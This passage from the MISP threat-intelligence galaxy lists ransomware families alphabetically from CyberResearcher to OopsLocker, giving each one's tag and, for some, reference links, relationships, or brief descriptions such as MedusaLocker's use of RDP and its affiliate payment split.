The tag is: *misp-galaxy:ransomware="CyberResearcher"*

CyberSCCP

Ransomware

The tag is: *misp-galaxy:ransomware="CyberSCCP"*

CyberSoldier

Ransomware

The tag is: *misp-galaxy:ransomware="CyberSoldier"*

Cyclone

Ransomware

The tag is: *misp-galaxy:ransomware="Cyclone"*

CypherPy

Ransomware

The tag is: *misp-galaxy:ransomware="CypherPy"*

Cyspt

Ransomware

The tag is: *misp-galaxy:ransomware="Cyspt"*

Czech

Ransomware

The tag is: *misp-galaxy:ransomware="Czech"*

D00mEd

Ransomware

The tag is: *misp-galaxy:ransomware="D00mEd"*

D2+D

Ransomware

The tag is: *misp-galaxy:ransomware="D2+D"*

DarkKomet

Ransomware

The tag is: *misp-galaxy:ransomware="DarkKomet"*

DarkLocker

Ransomware

The tag is: *misp-galaxy:ransomware="DarkLocker"*

DarkoderCryptor

Ransomware

The tag is: *misp-galaxy:ransomware="DarkoderCryptor"*

DataKeeper

Ransomware

The tag is: *misp-galaxy:ransomware="DataKeeper"*

Table 13613. Table References

Links
https://www.ransomlook.io/group/datakeeper

Datebatut

Ransomware

The tag is: *misp-galaxy:ransomware="Datebatut"*

DCRTR

Ransomware

The tag is: *misp-galaxy:ransomware="DCRTR"*

DCRTR-WDM

Ransomware

The tag is: *misp-galaxy:ransomware="DCRTR-WDM"*

DCry

Ransomware

The tag is: *misp-galaxy:ransomware="DCry"*

DDE

Ransomware

The tag is: *misp-galaxy:ransomware="DDE"*

DeadSec-Crypto

Ransomware

The tag is: *misp-galaxy:ransomware="DeadSec-Crypto"*

DeathHiddenTear (Large&Small HT) >

Ransomware

The tag is: *misp-galaxy:ransomware="DeathHiddenTear (Large&Small HT) > "*

DeathNote

Ransomware

The tag is: *misp-galaxy:ransomware="DeathNote"*

DeathRansom

Ransomware

The tag is: *misp-galaxy:ransomware="DeathRansom"*

Table 13614. Table References

Links
https://www.ransomlook.io/group/deathransom
https://www.trendmicro.com/en_us/research/20/a/deathransom-now-fully-operational-with-file-encryption-capabilities.html
https://www.bleepingcomputer.com/news/security/deathransom-ransomware-now-encrypting-victims-data/
https://www.pcrisk.com/removal-guides/16697-deathransom-ransomware

DecryptIomega

Ransomware

The tag is: *misp-galaxy:ransomware="DecryptIomega"*

Decryption Assistant

Ransomware

The tag is: *misp-galaxy:ransomware="Decryption Assistant"*

DecService

Ransomware

The tag is: *misp-galaxy:ransomware="DecService"*

DecYourData

Ransomware

The tag is: *misp-galaxy:ransomware="DecYourData"*

Defender

Ransomware

The tag is: *misp-galaxy:ransomware="Defender"*

Defray (Glushkov)

Ransomware

The tag is: *misp-galaxy:ransomware="Defray (Glushkov)"*

Deos

Ransomware

The tag is: *misp-galaxy:ransomware="Deos"*

Desktop

Ransomware

The tag is: *misp-galaxy:ransomware="Desktop"*

Diamond

Ransomware

The tag is: *misp-galaxy:ransomware="Diamond"*

DilmaLocker

Ransomware

The tag is: *misp-galaxy:ransomware="DilmaLocker"*

Dishwasher

Ransomware

The tag is: *misp-galaxy:ransomware="Dishwasher"*

District

Ransomware

The tag is: *misp-galaxy:ransomware="District"*

DMA Locker 1.0-2.0-3.0

Ransomware

The tag is: *misp-galaxy:ransomware="DMA Locker 1.0-2.0-3.0"*

DMA Locker 4.0

Ransomware

The tag is: *misp-galaxy:ransomware="DMA Locker 4.0"*

DMALocker Imposter

Ransomware

The tag is: *misp-galaxy:ransomware="DMALocker Imposter"*

Dodger

Ransomware

The tag is: *misp-galaxy:ransomware="Dodger"*

DolphinTear

Ransomware

The tag is: *misp-galaxy:ransomware="DolphinTear"*

Donald Trump

Ransomware

The tag is: *misp-galaxy:ransomware="Donald Trump"*

Donation1

Ransomware

The tag is: *misp-galaxy:ransomware="Donation1"*

Done

Ransomware

The tag is: *misp-galaxy:ransomware="Done"*

Dont_Worry

Ransomware

The tag is: *misp-galaxy:ransomware="Dont_Worry"*

DotNoData

Ransomware

The tag is: *misp-galaxy:ransomware="DotNoData"*

DotZeroCMD

Ransomware

The tag is: *misp-galaxy:ransomware="DotZeroCMD"*

Dr. Fucker

Ransomware

The tag is: *misp-galaxy:ransomware="Dr. Fucker"*

Dr. Jimbo

Ransomware

The tag is: *misp-galaxy:ransomware="Dr. Jimbo"*

Drakos

Ransomware

The tag is: *misp-galaxy:ransomware="Drakos"*

DriedSister

Ransomware

The tag is: *misp-galaxy:ransomware="DriedSister"*

Dviide

Ransomware

The tag is: *misp-galaxy:ransomware="Dviide"*

eBayWall

Ransomware

The tag is: *misp-galaxy:ransomware="eBayWall"*

EbolaRnsmwr

Ransomware

The tag is: *misp-galaxy:ransomware="EbolaRnsmwr"*

ECLR

Ransomware

The tag is: *misp-galaxy:ransomware="ECLR"*

EggLocker

Ransomware

The tag is: *misp-galaxy:ransomware="EggLocker"*

Ekati demo tool

Ransomware

The tag is: *misp-galaxy:ransomware="Ekati demo tool"*

Enc1

Ransomware

The tag is: *misp-galaxy:ransomware="Enc1"*

EncoderCSL

Ransomware

The tag is: *misp-galaxy:ransomware="EncoderCSL"*

EnCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="EnCrypt"*

EncryptedBatch

Ransomware

The tag is: *misp-galaxy:ransomware="EncryptedBatch"*

EncryptServer2018

Ransomware

The tag is: *misp-galaxy:ransomware="EncryptServer2018"*

EnybenyCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="EnybenyCrypt"*

EOEO

Ransomware

The tag is: *misp-galaxy:ransomware="EOEO"*

Epoblockl

Ransomware

The tag is: *misp-galaxy:ransomware="Epoblockl"*

Erica2020

Ransomware

The tag is: *misp-galaxy:ransomware="Erica2020"*

Eris

Ransomware

The tag is: *misp-galaxy:ransomware="Eris"*

Estemani

Ransomware

The tag is: *misp-galaxy:ransomware="Estemani"*

Eternal

Ransomware

The tag is: *misp-galaxy:ransomware="Eternal"*

Eternity

Ransomware

The tag is: *misp-galaxy:ransomware="Eternity"*

Euclid

Ransomware

The tag is: *misp-galaxy:ransomware="Euclid"*

Evasive HT

Ransomware

The tag is: *misp-galaxy:ransomware="Evasive HT"*

Evolution

Ransomware

The tag is: *misp-galaxy:ransomware="Evolution"*

Table 13615. Table References

Links
https://www.ransomlook.io/group/evolution

Executioner

Ransomware

The tag is: *misp-galaxy:ransomware="Executioner"*

ExecutionerPlus

Ransomware

The tag is: *misp-galaxy:ransomware="ExecutionerPlus"*

Exocrypt XTC

Ransomware

The tag is: *misp-galaxy:ransomware="Exocrypt XTC"*

ExoLock

Ransomware

The tag is: *misp-galaxy:ransomware="ExoLock"*

ExpBoot

Ransomware

The tag is: *misp-galaxy:ransomware="ExpBoot"*

Explorer

Ransomware

The tag is: *misp-galaxy:ransomware="Explorer"*

Extortion Scam

Ransomware

The tag is: *misp-galaxy:ransomware="Extortion Scam"*

Extortion Scam is also known as:

- Sextortion Scam

Extractor

Ransomware

The tag is: *misp-galaxy:ransomware="Extractor"*

EyLamo

Ransomware

The tag is: *misp-galaxy:ransomware="EyLamo"*

EZDZ

Ransomware

The tag is: *misp-galaxy:ransomware="EZDZ"*

Fabiansomware

Ransomware

The tag is: *misp-galaxy:ransomware="Fabiansomware"*

Facebook HT

Ransomware

The tag is: *misp-galaxy:ransomware="Facebook HT"*

Faizal

Ransomware

The tag is: *misp-galaxy:ransomware="Faizal"*

Fake Cerber

Ransomware

The tag is: *misp-galaxy:ransomware="Fake Cerber"*

Fake DMA

ransomware

The tag is: *misp-galaxy:ransomware="Fake DMA"*

FartPlz

ransomware

The tag is: *misp-galaxy:ransomware="FartPlz"*

FBLocker

ransomware

The tag is: *misp-galaxy:ransomware="FBLocker"*

FCP

ransomware

The tag is: *misp-galaxy:ransomware="FCP"*

FCrypt

ransomware

The tag is: *misp-galaxy:ransomware="FCrypt"*

FCT

ransomware

The tag is: *misp-galaxy:ransomware="FCT"*

Fenrir

ransomware

The tag is: *misp-galaxy:ransomware="Fenrir"*

File Ripper

ransomware

The tag is: *misp-galaxy:ransomware="File Ripper"*

FileFuck

ransomware

The tag is: *misp-galaxy:ransomware="FileFuck"*

FilesL0cker

ransomware

The tag is: *misp-galaxy:ransomware="FilesL0cker"*

Final

ransomware

The tag is: *misp-galaxy:ransomware="Final"*

FindZip

ransomware

The tag is: *misp-galaxy:ransomware="FindZip"*

Flatcher3

ransomware

The tag is: *misp-galaxy:ransomware="Flatcher3"*

Fluffy-TAR

ransomware

The tag is: *misp-galaxy:ransomware="Fluffy-TAR"*

Foxy

ransomware

The tag is: *misp-galaxy:ransomware="Foxy"*

Freshdesk

ransomware

The tag is: *misp-galaxy:ransomware="Freshdesk"*

Frog

ransomware

The tag is: *misp-galaxy:ransomware="Frog"*

FrozrLock

ransomware

The tag is: *misp-galaxy:ransomware="FrozrLock"*

FRS

ransomware

The tag is: *misp-galaxy:ransomware="FRS"*

FScrypt

ransomware

The tag is: *misp-galaxy:ransomware="FScrypt"*

FuckTheSystem

ransomware

The tag is: *misp-galaxy:ransomware="FuckTheSystem"*

FuxSocy Encryptor

ransomware

The tag is: *misp-galaxy:ransomware="FuxSocy Encryptor"*

Galacti-Crypter

ransomware

The tag is: *misp-galaxy:ransomware="Galacti-Crypter"*

GameOver

ransomware

The tag is: *misp-galaxy:ransomware="GameOver"*

Geminis3

ransomware

The tag is: *misp-galaxy:ransomware="Geminis3"*

Gendarmerie

ransomware

The tag is: *misp-galaxy:ransomware="Gendarmerie"*

Genobot

ransomware

The tag is: *misp-galaxy:ransomware="Genobot"*

GermanWiper

ransomware

The tag is: *misp-galaxy:ransomware="GermanWiper"*

GhosTEncryptor

ransomware

The tag is: *misp-galaxy:ransomware="GhosTEncryptor"*

GhostHammer

ransomware

The tag is: *misp-galaxy:ransomware="GhostHammer"*

Gibberish

ransomware

The tag is: *misp-galaxy:ransomware="Gibberish"*

Gibon

ransomware

The tag is: *misp-galaxy:ransomware="Gibon"*

Giyotin

ransomware

The tag is: *misp-galaxy:ransomware="Giyotin"*

GoCryptoLocker

ransomware

The tag is: *misp-galaxy:ransomware="GoCryptoLocker"*

Godra

ransomware

The tag is: *misp-galaxy:ransomware="Godra"*

GoGoogle

ransomware

The tag is: *misp-galaxy:ransomware="GoGoogle"*

GoHack

ransomware

The tag is: *misp-galaxy:ransomware="GoHack"*

Golden Axe

ransomware

The tag is: *misp-galaxy:ransomware="Golden Axe"*

Gomme

ransomware

The tag is: *misp-galaxy:ransomware="Gomme"*

GonnaCry Ransmware

ransomware

The tag is: *misp-galaxy:ransomware="GonnaCry Ransmware"*

Goofed HT

ransomware

The tag is: *misp-galaxy:ransomware="Goofed HT"*

GoRansom POC

ransomware

The tag is: *misp-galaxy:ransomware="GoRansom POC"*

Gorgon

ransomware

The tag is: *misp-galaxy:ransomware="Gorgon"*

Gotcha

ransomware

The tag is: *misp-galaxy:ransomware="Gotcha"*

GottaCry

ransomware

The tag is: *misp-galaxy:ransomware="GottaCry"*

GPAA

ransomware

The tag is: *misp-galaxy:ransomware="GPAA"*

GPGQwerty

ransomware

The tag is: *misp-galaxy:ransomware="GPGQwerty"*

Craftul

ransomware

The tag is: *misp-galaxy:ransomware="Craftul"*

Greystars

ransomware

The tag is: *misp-galaxy:ransomware="Greystars"*

GrodexCrypt

ransomware

The tag is: *misp-galaxy:ransomware="GrodexCrypt"*

GrujaRSorium

ransomware

The tag is: *misp-galaxy:ransomware="GrujaRSorium"*

Gruxer

ransomware

The tag is: *misp-galaxy:ransomware="Gruxer"*

GusCrypter

ransomware

The tag is: *misp-galaxy:ransomware="GusCrypter"*

GX40

ransomware

The tag is: *misp-galaxy:ransomware="GX40"*

H34rtBl33d

ransomware

The tag is: *misp-galaxy:ransomware="H34rtBl33d"*

HackdoorCrypt3r

ransomware

The tag is: *misp-galaxy:ransomware="HackdoorCrypt3r"*

Hades

ransomware

The tag is: *misp-galaxy:ransomware="Hades"*

View relationships graph

Hades has relationships with:

- similar: misp-galaxy:ransomware="WildFire Locker" with estimative-language:likelihood-probability="likely"

Table 13616. Table References

Links
http://www.secureworks.com/research/threat-profiles/gold-winter
https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp
https://awakesecurity.com/blog/incident-response-hades-ransomware-gang-or-hafnium/
https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://killingthebear.jorgetesta.tech/actors/evil-corp
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://twitter.com/inversecos/status/1381477874046169089?s=20
https://www.accenture.com/us-en/blogs/cyber-defense/unknown-threat-group-using-hades-ransomware
https://www.accenture.com/us-en/blogs/security/ransomware-hades
https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities
https://www.bleepingcomputer.com/news/security/evil-corp-switches-to-hades-ransomware-to-evade-sanctions/
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure
https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf
https://www.ransomlook.io/group/hades

Hakbit

ransomware

The tag is: *misp-galaxy:ransomware="Hakbit"*

HappyCrypter

ransomware

The tag is: *misp-galaxy:ransomware="HappyCrypter"*

Haze

ransomware

The tag is: *misp-galaxy:ransomware="Haze"*

HCrypto

ransomware

The tag is: *misp-galaxy:ransomware="HCrypto"*

HELP@AUSI

ransomware

The tag is: *misp-galaxy:ransomware="HELP@AUSI"*

HelpDCFile

ransomware

The tag is: *misp-galaxy:ransomware="HelpDCFile"*

HelpMe

ransomware

The tag is: *misp-galaxy:ransomware="HelpMe"*

Hermes837

ransomware

The tag is: *misp-galaxy:ransomware="Hermes837"*

HermesVirus HT

ransomware

The tag is: *misp-galaxy:ransomware="HermesVirus HT"*

Heropoint

ransomware

The tag is: *misp-galaxy:ransomware="Heropoint"*

HiddenBeer

ransomware

The tag is: *misp-galaxy:ransomware="HiddenBeer"*

Honor

ransomware

The tag is: *misp-galaxy:ransomware="Honor"*

Horros

ransomware

The tag is: *misp-galaxy:ransomware="Horros"*

Hydra

ransomware

The tag is: *misp-galaxy:ransomware="Hydra"*

View relationships graph

Hydra has relationships with:

- similar: misp-galaxy:ransomware="Bianlian" with estimative-language:likelihood-probability="likely"

IGotYou

ransomware

The tag is: *misp-galaxy:ransomware="IGotYou"*

iGZa4C

ransomware

The tag is: *misp-galaxy:ransomware="iGZa4C"*

ILElection2020

ransomware

The tag is: *misp-galaxy:ransomware="ILElection2020"*

Ims00ry

ransomware

The tag is: *misp-galaxy:ransomware="Ims00ry"*

ImSorry

ransomware

The tag is: *misp-galaxy:ransomware="ImSorry"*

Incanto

ransomware

The tag is: *misp-galaxy:ransomware="Incanto"*

Indrik

ransomware

The tag is: *misp-galaxy:ransomware="Indrik"*

InducVirus

ransomware

The tag is: *misp-galaxy:ransomware="InducVirus"*

InfinityLock

ransomware

The tag is: *misp-galaxy:ransomware="InfinityLock"*

InfoDot

ransomware

The tag is: *misp-galaxy:ransomware="InfoDot"*

INPIVX

ransomware

The tag is: *misp-galaxy:ransomware="INPIVX"*

Table 13617. Table References

Links
https://www.ransomlook.io/group/inpivx

InsaneCrypt

ransomware

The tag is: *misp-galaxy:ransomware="InsaneCrypt"*

IPA

ransomware

The tag is: *misp-galaxy:ransomware="IPA"*

IT.Books

ransomware

The tag is: *misp-galaxy:ransomware="IT.Books"*

J-

ransomware

The tag is: *misp-galaxy:ransomware="J-"*

JabaCrypter

ransomware

The tag is: *misp-galaxy:ransomware="JabaCrypter"*

Jaffe

ransomware

The tag is: *misp-galaxy:ransomware="Jaffe"*

James

ransomware

The tag is: *misp-galaxy:ransomware="James"*

Java NotDharma

ransomware

The tag is: *misp-galaxy:ransomware="Java NotDharma"*

jCandy

ransomware

The tag is: *misp-galaxy:ransomware="jCandy"*

JeepersCrypt

ransomware

The tag is: *misp-galaxy:ransomware="JeepersCrypt"*

Jemd

ransomware

The tag is: *misp-galaxy:ransomware="Jemd"*

JesusCrypt

ransomware

The tag is: *misp-galaxy:ransomware="JesusCrypt"*

JNEC.a

ransomware

The tag is: *misp-galaxy:ransomware="JNEC.a"*

JoeGo

ransomware

The tag is: *misp-galaxy:ransomware="JoeGo"*

Jolly Roger

ransomware

The tag is: *misp-galaxy:ransomware="Jolly Roger"*

JosepCrypt

ransomware

The tag is: *misp-galaxy:ransomware="JosepCrypt"*

Juwon

ransomware

The tag is: *misp-galaxy:ransomware="Juwon"*

Kali

ransomware

The tag is: *misp-galaxy:ransomware="Kali"*

Kamil

ransomware

The tag is: *misp-galaxy:ransomware="Kamil"*

Kampret

ransomware

The tag is: *misp-galaxy:ransomware="Kampret"*

Karo

ransomware

The tag is: *misp-galaxy:ransomware="Karo"*

Katafrank

ransomware

The tag is: *misp-galaxy:ransomware="Katafrank"*

Katyusha

ransomware

The tag is: *misp-galaxy:ransomware="Katyusha"*

KCTF Locker

ransomware

The tag is: *misp-galaxy:ransomware="KCTF Locker"*

KCW

ransomware

The tag is: *misp-galaxy:ransomware="KCW"*

Kee

ransomware

The tag is: *misp-galaxy:ransomware="Kee"*

KEKW

ransomware

The tag is: *misp-galaxy:ransomware="KEKW"*

Kerkoporta

ransomware

The tag is: *misp-galaxy:ransomware="Kerkoporta"*

KeyMaker

ransomware

The tag is: *misp-galaxy:ransomware="KeyMaker"*

KillBot_Virus

ransomware

The tag is: *misp-galaxy:ransomware="KillBot_Virus"*

KillDisk-Dimens

ransomware

The tag is: *misp-galaxy:ransomware="KillDisk-Dimens"*

KillRabbit

ransomware

The tag is: *misp-galaxy:ransomware="KillRabbit"*

KillSwitch

ransomware

The tag is: *misp-galaxy:ransomware="KillSwitch"*

Kindest

ransomware

The tag is: *misp-galaxy:ransomware="Kindest"*

KKK

ransomware

The tag is: *misp-galaxy:ransomware="KKK"*

Kovter

ransomware

The tag is: *misp-galaxy:ransomware="Kovter"*

Kriptovor

ransomware

The tag is: *misp-galaxy:ransomware="Kriptovor"*

Krypte

ransomware

The tag is: *misp-galaxy:ransomware="Krypte"*

Krypton

ransomware

The tag is: *misp-galaxy:ransomware="Krypton"*

Kryptonite RBY

ransomware

The tag is: *misp-galaxy:ransomware="Kryptonite RBY"*

Kryptonite Snake

ransomware

The tag is: *misp-galaxy:ransomware="Kryptonite Snake"*

Kupidon

ransomware

The tag is: *misp-galaxy:ransomware="Kupidon"*

Ladon

ransomware

The tag is: *misp-galaxy:ransomware="Ladon"*

Lalabitch_ransomware

ransomware

The tag is: *misp-galaxy:ransomware="Lalabitch_ransomware"*

LazagneCrypt

ransomware

The tag is: *misp-galaxy:ransomware="LazagneCrypt"*

Light

ransomware

The tag is: *misp-galaxy:ransomware="Light"*

LightningCrypt

ransomware

The tag is: *misp-galaxy:ransomware="LightningCrypt"*

LIGMA

ransomware

The tag is: *misp-galaxy:ransomware="LIGMA"*

Lime

ransomware

The tag is: *misp-galaxy:ransomware="Lime"*

Litra

ransomware

The tag is: *misp-galaxy:ransomware="Litra"*

LittleFinger

ransomware

The tag is: *misp-galaxy:ransomware="LittleFinger"*

LMAOxUS

ransomware

The tag is: *misp-galaxy:ransomware="LMAOxUS"*

LockBox

ransomware

The tag is: *misp-galaxy:ransomware="LockBox"*

Locked_File

ransomware

The tag is: *misp-galaxy:ransomware="Locked_File"*

LockedByte

ransomware

The tag is: *misp-galaxy:ransomware="LockedByte"*

Locker-Pay

ransomware

The tag is: *misp-galaxy:ransomware="Locker-Pay"*

Lockify

ransomware

The tag is: *misp-galaxy:ransomware="Lockify"*

LockMe

ransomware

The tag is: *misp-galaxy:ransomware="LockMe"*

LockOn

ransomware

The tag is: *misp-galaxy:ransomware="LockOn"*

Lockout

ransomware

The tag is: *misp-galaxy:ransomware="Lockout"*

LongTermMemoryLoss

ransomware

The tag is: *misp-galaxy:ransomware="LongTermMemoryLoss"*

LonleyCrypt

ransomware

The tag is: *misp-galaxy:ransomware="LonleyCrypt"*

LooCipher

ransomware

The tag is: *misp-galaxy:ransomware="LooCipher"*

LordOfShadow

ransomware

The tag is: *misp-galaxy:ransomware="LordOfShadow"*

Losers

ransomware

The tag is: *misp-galaxy:ransomware="Losers"*

Losers-Dangerous

ransomware

The tag is: *misp-galaxy:ransomware="Losers-Dangerous"*

Lost_Files

ransomware

The tag is: *misp-galaxy:ransomware="Lost_Files"*

LuckyJoe

ransomware

The tag is: *misp-galaxy:ransomware="LuckyJoe"*

Luxnut

ransomware

The tag is: *misp-galaxy:ransomware="Luxnut"*

Madafakah

ransomware

The tag is: *misp-galaxy:ransomware="Madafakah"*

MadBit

ransomware

The tag is: *misp-galaxy:ransomware="MadBit"*

Magician

ransomware

The tag is: *misp-galaxy:ransomware="Magician"*

Malabu

ransomware

The tag is: *misp-galaxy:ransomware="Malabu"*

MalwareTech’s CTF

ransomware

The tag is: *misp-galaxy:ransomware="MalwareTech’s CTF"*

Mancros+AI4939

ransomware

The tag is: *misp-galaxy:ransomware="Mancros+AI4939"*

Maoloa

ransomware

The tag is: *misp-galaxy:ransomware="Maoloa"*

Marozka

ransomware

The tag is: *misp-galaxy:ransomware="Marozka"*

MarraCrypt

ransomware

The tag is: *misp-galaxy:ransomware="MarraCrypt"*

Matroska

ransomware

The tag is: *misp-galaxy:ransomware="Matroska"*

MauriGo

ransomware

The tag is: *misp-galaxy:ransomware="MauriGo"*

MaxiCrypt

ransomware

The tag is: *misp-galaxy:ransomware="MaxiCrypt"*

Maykolin

ransomware

The tag is: *misp-galaxy:ransomware="Maykolin"*

Maysomware

ransomware

The tag is: *misp-galaxy:ransomware="Maysomware"*

MBR-ONI

ransomware

The tag is: *misp-galaxy:ransomware="MBR-ONI"*

MedusaLocker

Observed as recently as May 2022, MedusaLocker actors predominantly rely on vulnerabilities in Remote Desktop Protocol (RDP) to access victims' networks. The MedusaLocker actors encrypt the victim's data and leave a ransom note with communication instructions in every folder containing an encrypted file. The note directs victims to provide ransomware payments to a specific Bitcoin wallet address. MedusaLocker appears to operate as a Ransomware-as-a-Service (RaaS) model based on the observed split of ransom payments. Typical RaaS models involve the ransomware developer and various affiliates that deploy the ransomware on victim systems. MedusaLocker ransomware payments appear to be consistently split between the affiliate, who receives 55 to 60 percent of the ransom; and the developer, who receives the remainder.

The tag is: *misp-galaxy:ransomware="MedusaLocker"*

Table 13618. Table References

Links
https://www.cisa.gov/uscert/ncas/alerts/aa22-181a
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-181A_stopransomware_medusalocker.pdf

Meduza

ransomware

The tag is: *misp-galaxy:ransomware="Meduza"*

MegaLocker

ransomware

The tag is: *misp-galaxy:ransomware="MegaLocker"*

Mew767

ransomware

The tag is: *misp-galaxy:ransomware="Mew767"*

Mike NotSTOP

ransomware

The tag is: *misp-galaxy:ransomware="Mike NotSTOP"*

Mikoyan

ransomware

The tag is: *misp-galaxy:ransomware="Mikoyan"*

MindLost

ransomware

The tag is: *misp-galaxy:ransomware="MindLost"*

MindSystem

ransomware

The tag is: *misp-galaxy:ransomware="MindSystem"*

Mini

ransomware

The tag is: *misp-galaxy:ransomware="Mini"*

Minotaur

ransomware

The tag is: *misp-galaxy:ransomware="Minotaur"*

MMM

ransomware

The tag is: *misp-galaxy:ransomware="MMM"*

MNS CryptoLocker

ransomware

The tag is: *misp-galaxy:ransomware="MNS CryptoLocker"*

MoneroPay

ransomware

The tag is: *misp-galaxy:ransomware="MoneroPay"*

MongoLock

ransomware

The tag is: *misp-galaxy:ransomware="MongoLock"*

MoonCryptor

ransomware

The tag is: *misp-galaxy:ransomware="MoonCryptor"*

Mordor

ransomware

The tag is: *misp-galaxy:ransomware="Mordor"*

MorrisBatchCrypt

ransomware

The tag is: *misp-galaxy:ransomware="MorrisBatchCrypt"*

Moth

ransomware

The tag is: *misp-galaxy:ransomware="Moth"*

MoWare H.F.D

ransomware

The tag is: *misp-galaxy:ransomware="MoWare H.F.D"*

Mr.Locker

ransomware

The tag is: *misp-galaxy:ransomware="Mr.Locker"*

Mr403Forbidden

ransomware

The tag is: *misp-galaxy:ransomware="Mr403Forbidden"*

MuchLove

ransomware

The tag is: *misp-galaxy:ransomware="MuchLove"*

Muhstik

ransomware

The tag is: *misp-galaxy:ransomware="Muhstik"*

Mystic

ransomware

The tag is: *misp-galaxy:ransomware="Mystic"*

MZP

ransomware

The tag is: *misp-galaxy:ransomware="MZP"*

N2019cov

ransomware

The tag is: *misp-galaxy:ransomware="N2019cov"*

Naampa

ransomware

The tag is: *misp-galaxy:ransomware="Naampa"*

NazCrypt

ransomware

The tag is: *misp-galaxy:ransomware="NazCrypt"*

Nefilim

According to Vitali Kremez and Michael Gillespie, this ransomware shares much code with Nemty 2.5. A difference is removal of the RaaS component, which was switched to email communications for payments. Uses AES-128, which is then protected RSA2048.

The tag is: *misp-galaxy:ransomware="Nefilim"*

View relationships graph

Nefilim has relationships with:

- related-to: misp-galaxy:ransomware="Nemty" with estimative-language:likelihood-probability="likely"

Table 13619. Table References

Links
https://www.zdnet.com/article/a-deep-dive-into-nefilim-a-double-extortion-ransomware-group
https://www.trendmicro.com/en_nz/research/21/f/nefilim-modern-ransomware-attack-story.html
http://www.secureworks.com/research/threat-profiles/gold-mansard
https://blog.qualys.com/vulnerabilities-research/2021/05/12/nefilim-ransomware
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://documents.trendmicro.com/assets/white_papers/wp-modern-ransomwares-double-extortion-tactics.pdf
https://id-ransomware.blogspot.com/2020/03/nefilim-ransomware.html
https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry

https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/
https://news.sophos.com/en-us/2021/01/26/nefilim-ransomware-attack-uses-ghost-credentials/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://securelist.com/evolution-of-jsworm-ransomware/102428/
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf
https://www.bleepingcomputer.com/news/security/home-appliance-giant-whirlpool-hit-in-nefilim-ransomware-attack/
https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/
https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/
https://www.cert.govt.nz/it-specialists/advisories/active-ransomware-campaign-leveraging-remote-access-technologies/
https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot
https://www.picussecurity.com/resource/blog/how-to-beat-nefilim-ransomware-attacks
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.trendmicro.com/en_us/research/21/b/nefilim-ransomware.html
https://www.trendmicro.com/en_us/research/21/f/nefilim-modern-ransomware-attack-story.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/nefilim-ransomware-threatens-to-expose-stolen-data
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks
https://www.ransomlook.io/group/nefilim

Negozl

ransomware

The tag is: *misp-galaxy:ransomware="Negozl"*

Neitrino

ransomware

The tag is: *misp-galaxy:ransomware="Neitrino"*

NewWave

ransomware

The tag is: *misp-galaxy:ransomware="NewWave"*

NextCry

ransomware

The tag is: *misp-galaxy:ransomware="NextCry"*

Nightmare

ransomware

The tag is: *misp-galaxy:ransomware="Nightmare"*

NinjaLoc

ransomware

The tag is: *misp-galaxy:ransomware="NinjaLoc"*

NM4

ransomware

The tag is: *misp-galaxy:ransomware="NM4"*

Noblis

ransomware

The tag is: *misp-galaxy:ransomware="Noblis"*

Nog4yH4n

ransomware

The tag is: *misp-galaxy:ransomware="Nog4yH4n"*

Nomikon

ransomware

The tag is: *misp-galaxy:ransomware="Nomikon"*

NotAHero

ransomware

The tag is: *misp-galaxy:ransomware="NotAHero"*

Nozelesn

ransomware

The tag is: *misp-galaxy:ransomware="Nozelesn"*

Nulltica

ransomware

The tag is: *misp-galaxy:ransomware="Nulltica"*

Nx / OSR

ransomware

The tag is: *misp-galaxy:ransomware="Nx / OSR"*

Nyton

ransomware

The tag is: *misp-galaxy:ransomware="Nyton"*

NZMR

ransomware

The tag is: *misp-galaxy:ransomware="NZMR"*

Ogre

ransomware

The tag is: *misp-galaxy:ransomware="Ogre"*

OhNo!

ransomware

The tag is: *misp-galaxy:ransomware="OhNo!"*

Oled

ransomware

The tag is: *misp-galaxy:ransomware="Oled"*

OmniSphere

ransomware

The tag is: *misp-galaxy:ransomware="OmniSphere"*

One

ransomware

The tag is: *misp-galaxy:ransomware="One"*

ONI

ransomware

The tag is: *misp-galaxy:ransomware="ONI"*

OoPS Ramenware

ransomware

The tag is: *misp-galaxy:ransomware="OoPS Ramenware"*

OopsLocker

ransomware

